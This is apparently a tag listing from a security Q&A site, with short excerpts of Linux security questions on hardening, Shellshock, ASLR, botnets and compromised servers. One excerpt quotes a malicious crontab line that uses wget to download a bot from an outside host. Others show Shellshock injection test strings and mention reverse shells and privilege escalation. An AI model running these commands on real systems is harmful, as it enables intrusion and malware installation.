Securing Linux systems and applications; understanding Linux security features.

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26
votes
2answers
3k views

Do simple Linux servers really need a non-root user for security reasons?

Playing devil's advocate, Let's assume I purchase a Linux server from a hosting provider. I am given a password for the root user and am told I may login using SSH. The only purpose this server has ...
2
votes
1answer
79 views

Will setting a password for a linux login increase security?

I created a user that I use to login with using an SSL Key. I have not set a password. To be clear it is not an empty password, but an unset one. The /etc/shawdow has a single exclamation point ...
17
votes
6answers
3k views

How can I protect my computer from my potentially malicious colleagues?

So, I work in this small company (10 people) where we do stuff in programming, for various platforms. I started recently working there (2 months) right after I graduated. My work is not exactly ...
2
votes
2answers
169 views

Writing errors to Apache's log file from PHP - are there any pitfalls?

I'm updating an application to write slightly more verbose errors to the system log file (in this case, /var/log/apache2/mysite_error_log). I hope that I'm not asking the proverbial stupid question ...
12
votes
4answers
6k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
4
votes
3answers
113 views

Specific Dangers in Joining a Linux Botnet?

Between the PHP-as-cgi-bin problem, and shellshock, I've seen 4 or 5 different Perl scripts that, when run, purport to make your machine part of some scary, heinous botnet. What, specifically, would ...
1
vote
0answers
72 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
2
votes
3answers
1k views

Open Source Vulnerability Scanner

I'm looking for an open source vulnerability scanner that I could install on one of my machines and point to all my others. Ideally, I'd be able to configure a nightly scan where all of my other nodes ...
3
votes
3answers
3k views

Besides OpenVas and Nessus, what are my other options for vulnerability detection?

I know of Nessus (which is $1300 for a pro feed) and OpenVAS (which I don't like). I use Linux so do I have any other options for vulnerability detection?
1
vote
0answers
76 views

IPtables accepting SMTP without being configured?

Well i was building a new server and inputed there some IPtables rules, i set postfix and send me an email to try it out, to my surprise the email reached perfectly without me declaring a rule for the ...
0
votes
1answer
120 views

Are these port secured on my AP?

I'm doing a project for my high-school and I'm trying to get the best security for my network. I've made almost everything in my access-point configuration and I have only 3 tcp/ports open on my AP: ...
2
votes
3answers
353 views

Postfix master running as root

Does running /usr/lib/postfix/master as a root could cause a security threat ? A fresh installation, gives this : root 11622 0.0 0.0 4792 1432 ? Ss 19:11 0:00 ...
4
votes
3answers
486 views

Security for home server, wiki

I recently set up my own home server, running Ubuntu linux. The intent I'm having for this is to have a private wiki for my family, so we can have a place to collect information like phone numbers, ...
2
votes
2answers
97 views

Encrypted container on top of a copy-on-write filesystem

The way I understand it, when you write to a copy-on-write filesystem, data never gets overwritten in place, instead new data is written to a new location, and the old data will only be overwritten ...
-3
votes
3answers
230 views

How to capture the traffic of a computer in my LAN?

I have a machine with the Windows 10 preview installed and I want to capture all the traffic it sends for a day and then block all the MS hosts it sent data to without my direct permission. I don't ...
0
votes
2answers
142 views

How would you set up a ‘cold’ netbook for master-key signing, large Bitcoin transactions, etc? [closed]

I've just ordered a cheap-o netbook on Amazon, with the intention of installing a Linux distro, and turning it into a permanently-offline high-security machine for sensitive tasks. However, I'm no ...
23
votes
11answers
4k views

One liner to create passwords in linux?

How do you create a readable password using bash with one line? What if i'm looking for 128 bits of entropy? EDIT By readable I mean the 94 printable ascii characters (without space). It can use ...
2
votes
3answers
116 views

Ping Input box on web server vulnerable to piped commands?

Scenario is this. I have logged into a web server as admin through the Login page in browser. it has displayed me with a home page of sorts that has an input box with a button next to it saying ...
3
votes
4answers
610 views

How do I encrypt external drive with Password which is compatible with both Linux and Windows? [closed]

I wanted to encrypt my external drive with password, which is compatible in both Linux and Windows. Truecrypt is an option. But the development of it is stopped few months back. I came across ...
1
vote
1answer
170 views

How negative are virtual machines (vms) to /dev/urandom?

I looked at the questions here and here. This then piqued my interest as I've recently been involved with looking into FIPS compliance, and in my vm environment /dev/urandom compliance testing ...
2
votes
2answers
952 views

Disable SSLv3 system-wide for all clients?

After reading about Poodle secutrity bug, I have disabled SSLv3 on my servers and browsers. But there are several clients that do not expose settings detailed enough via their own means of ...
0
votes
1answer
356 views

UEFI secure boot and rootkits

I heard that with UEFI secure boot enabled a custom kernel module that is not signed will not run, hence a rootkit might be difficult to install. Can a secure boot really block rootkit modules from ...
0
votes
1answer
132 views

jRAT virus on Linux

I dumbly downloaded a .jar file that contained jRAT. When run, it stalls, gives a FileNotFoundException, then crashes. When I ls'd, the jar was there. When I cd'd out and back in, the jar was gone. ...
2
votes
1answer
83 views

ASLR does not seem to randomize text section

I wanted to make some basic tests on Linux ASLR, so i wrote the following code : #include <stdio.h> void funct(){ int a= 0; } void main(){ int b=0; printf("funct : %p\n", ...
0
votes
1answer
722 views

How to get SSL certificate of a mail server?

I need to get SSL certificate of some mail servers. I know I need to do execute following steps. Do a DNS mx query on the domain name (dig google.com mx). Use the information to download SSL ...
2
votes
4answers
322 views

Add a file as entropy source for /dev/random

What I have: A large file containing lots of secret, true-random bytes (yes, I'm sure they're not merely pseudo-random). I'll call it F. What I want to do: Tell Linux that it can use this file as an ...
0
votes
0answers
31 views

Private server security questions [duplicate]

I want to build my own server. It will have mail, ssh, and apache (slackware 14.1). Could you tell me what I should pay attention on when I secure my server? Should I install SELinux? It will be ...
183
votes
5answers
105k views

What is a specific example of how the Shellshock Bash bug could be exploited?

I read some articles (article1, article2, article3, article4) about the Shellshock Bash bug (CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could ...
0
votes
1answer
91 views

How would one go about setting up a system with security in mind? [closed]

I run a standard laptop at home (dual-boot Fedora 20 and Windows 7; the Windows side is almost never used). Soon my other computer will be working again; it will have Windows 8.1 and some flavor of ...
3
votes
2answers
354 views

Does KASLR really provide more security against exploits?

I know all about how ASLR works, and how it has been implemented on both Linux and Windows systems. It provides an extra layer of protection that malware has to take into account. But nowadays with ...
0
votes
1answer
291 views

Find and kill process that create malicious connections

State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 3640 my.public.ip.xx:https xxx.xx.xxx.xx:56206 SYN-SENT 0 1 ...
4
votes
1answer
192 views

Does dual boot hurt security?

On my laptop I have a well secured Linux installation that I would like to stay this way. It has in the past and could in the future contain confidential medical data I use for my study. I also have a ...
0
votes
3answers
273 views

Are windows users passwords easier to crack than linux?

If i set the same password in both linux and Windows, is it easier for a hacker to break the windows password? If so why and how can i create a windows password in the same security level as Linux?
1
vote
3answers
198 views

Capture query to MySQL in Server

I want to capture queries to MySQL from my web-application on my Linux-based Server. MySQL port is 3306 and my web-application in on port 8181. So I started using tcpdump as follow: # tcpdump -x ...
1
vote
2answers
480 views

Directory traversal & default filesystem permissions (755) for web server

I'm trying to get a better understanding of the potential security holes my default filesystem permissions might be creating. It appears I am capable of traversing my filesystem, serving simple php ...
5
votes
2answers
1k views

Escalating from Apache shell to root

I have one noob question.I tried to exploit shellshock on my Slackware linux server, but after I connect with reverse shell and User Agent I get that I am apache user and apache user don't have too ...
4
votes
2answers
244 views

How secure is BSD sockets?

BSD sockets API was released in 1983. As it was implemented 3 decades ago and still being widely used, is it secure in today's scenario where every software has to be actively protected against ...
0
votes
2answers
295 views

“Shell shock” - exploitable when `system()` syscall or `exec(bash)`, right?

Is my understanding correct that in order to exploit via "Shell Shock", binary we influence needs to execute bash (and we need to have influence on command line)? Therefore, am I correct, that if ...
1
vote
1answer
143 views

Can shellshock be used on a system with public webpages but restricted server access?

I want to know if my servers are still vulnerable under the following conditions... My servers are private - only myself and trusted developers have access to them We have enabled executables within ...
2
votes
1answer
289 views

Has CVE-2014-6271 Shell Shock been mitigated completely what is the latest? [closed]

I have patched my system however CVE-2014-7169 claims that the fix for 6271 was incomplete. Sure enough if I run the command below: env X='() { (a)=>\' sh -c "echo date"; cat echo It appears ...
8
votes
1answer
659 views

What does this attempted Shellshock exploit do, and has my website been compromised?

I grepped my Apache's access.log today for the now infamous () { string, and besides a bunch of what seemed like pings to check how many servers are vulnerable, I found this attempt, which looked like ...
8
votes
2answers
2k views

Is connecting to an open WiFi router with DHCP in Linux susceptible to Shellshock?

Source: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html For the same reason, userland DHCP clients that invoke configuration scripts and use variables to pass down ...
2
votes
2answers
183 views

what makes envirnments vulnerable/protected vs shellshock bug

I just tested whether or not my university's environment was vulnerable to the shellshock bug using env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" (code from ...
1
vote
1answer
75 views

Am I safe to see a thumbnail of a downloaded images on Ubuntu 14.04?

I have downloaded an image that someone has uploaded to my website with a public upload form. My intention was to copy the file in a virtual machine and see the image from there; unfortunately, on ...
0
votes
0answers
113 views

Tunneling Remote Desktop from DMZ Windows server to my Listening Linux Server. How to?

I have a situation in a penetration test where I got a meterpreter on an internal (DMZ) Windows box, and I want to connect via RDP to it, however the RDP port is blocked externally. The box I hacked ...
-2
votes
2answers
917 views

How to completely password protect login into Ubuntu 12.10?

I am running Ubuntu 12.10 on my laptop and I would like to make a set up such that without a login password, no one would be able to login into my system. Currently it seems that one can, quite ...
1
vote
1answer
96 views

Is this a secure way to connect with Tor?

I was discussing the use of tor with a friend, and he happened to suggest a way to remain secure when using applications on the terminal (Lynx, Nmap etc.) His suggestion was this: ssh-keygen -b 4096 ...
2
votes
2answers
133 views

Receiving sensitive data uploaded on a Web server, and remotely accessing it without exposing it to theft

Edit: I mostly used my university's guidelines on how to meet DPA standards and their own. I extrapolated a bit because encryption on a VM hosted by my uni that is already probably encrypted makes ...
14
votes
2answers
2k views

Linux password changed. Is this an attack or a hardware glitch?

My Linux (Ubuntu 12.04) password suddenly changed last night and I'm not sure if this is an attack or just a hardware/user error. This is on a personal/non-server box. Several strange events led up to ...
1
vote
3answers
118 views

Not replacing SSL cert on a rebuilt, formerly rooted Unix Server

If a server was rooted, to the point that we know a Perl script which creates a remote shell was placed on the filesystem remotely, and the server was rebuilt entirely, patching the original Apache ...